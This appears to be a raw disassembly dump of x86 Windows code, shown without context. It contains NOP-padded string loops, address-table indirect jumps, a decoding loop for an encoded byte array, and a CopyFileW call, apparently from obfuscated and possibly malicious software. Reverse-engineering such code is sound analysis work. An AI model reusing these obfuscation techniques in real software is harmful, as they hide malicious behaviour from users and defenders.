mov ecx, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [edi]
add edi, 2
test dx, dx
jne 0x42c8f0
mov word [ecx], 0
mov ebx, dword [ebp - 0x14]
movzx edx, word [ebx]
test dx, dx
je 0x42c93c
add ebx, 2
mov edi, dword [ebp - 0x20]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [ebx]
add ebx, 2
test dx, dx
jne 0x42c920
mov word [ecx], 0
jmp dword [0x44dc10]
mov edi, dword [ebp - 0x20]
mov word [ecx], 0
jmp dword [0x44dc10]
push eax
call fcn.0040ce20
add esp, 4
xor eax, eax
cmp word [esi], 0x2a
sete al
mov ebx, dword [ebp - 0x1c]
jmp dword [eax*4 + 0x44dc18]
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x94c0b51
mov dword [eax + 4], 0x57b076c
mov dword [eax + 8], 0x1700375
mov dword [eax + 0xc], 0x1d691f7a
mov dword [eax + 0x10], 0x197e1b65
mov dword [eax + 0x14], 0x15671765
mov dword [eax + 0x18], 0x11681366
mov dword [eax + 0x1c], 0x2d572f67
mov dword [eax + 0x20], 0x29a02b1e
mov dword [eax + 0x24], 0x255c2754
mov dword [eax + 0x28], 0x2324
mov byte [eax + 0x2c], 0
mov esi, 0xbd629a03
mov ecx, 0x429d65fc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [eax + esi + 0x429d65fd]
mov eax, esi
and eax, edx
add eax, eax
sub eax, edx
add eax, ecx
and eax, esi
add al, al
sub dl, al
movzx eax, dl
add eax, esi
add al, 0xf1
mov edx, dword [ebp - 0x10]
mov byte [edx + esi + 0x429d65fd], al
mov eax, dword [ebp - 0x10]
inc esi
dec ecx
cmp esi, 0xbd629a30
jne 0x42c9d0
push 0
push eax
mov esi, dword [ebp - 0x44]
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp dword [0x44dc20]
mov esi, dword [esi]
lea eax, [esi + 1]
push eax
call fcn.0040ce10
add esp, 4
mov ebx, eax
push 0
push esi
push eax
push dword [edi]
call fcn.004454a0
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44dc40]
mov eax, dword [ebp - 0x2c]
mov esi, dword [eax]
mov byte [ebx + esi], 0
push 0x20
call fcn.0040ce10
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [ebp - 0x60], eax
mov ecx, eax
push esi
mov dword [ebp - 0x6c], ebx
push ebx
call fcn.0042e820
movzx eax, al
jmp dword [eax*4 + 0x44dc48]
mov edi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x6c]
jmp dword [0x44dc70]
mov esi, dword [ebp - 0x60]
mov ecx, esi
call fcn.0042eb70
push esi
call fcn.0040ce20
add esp, 4
jmp dword [0x44dc78]
jmp dword [0x44dc80]
push 0
mov esi, dword [ebp - 0x2c]
push esi
push dword [edi]
call fcn.004453d0
add esp, 0xc
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44dc38]
push 0x60
push 3
push 0x120089
push edi
push esi
call fcn.004450a0
add esp, 0x14
push 0x60
push 3
push 0x120089
push edi
push esi
call fcn.004450a0
add esp, 0x14
jmp dword [0x44dc2c]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44dc30]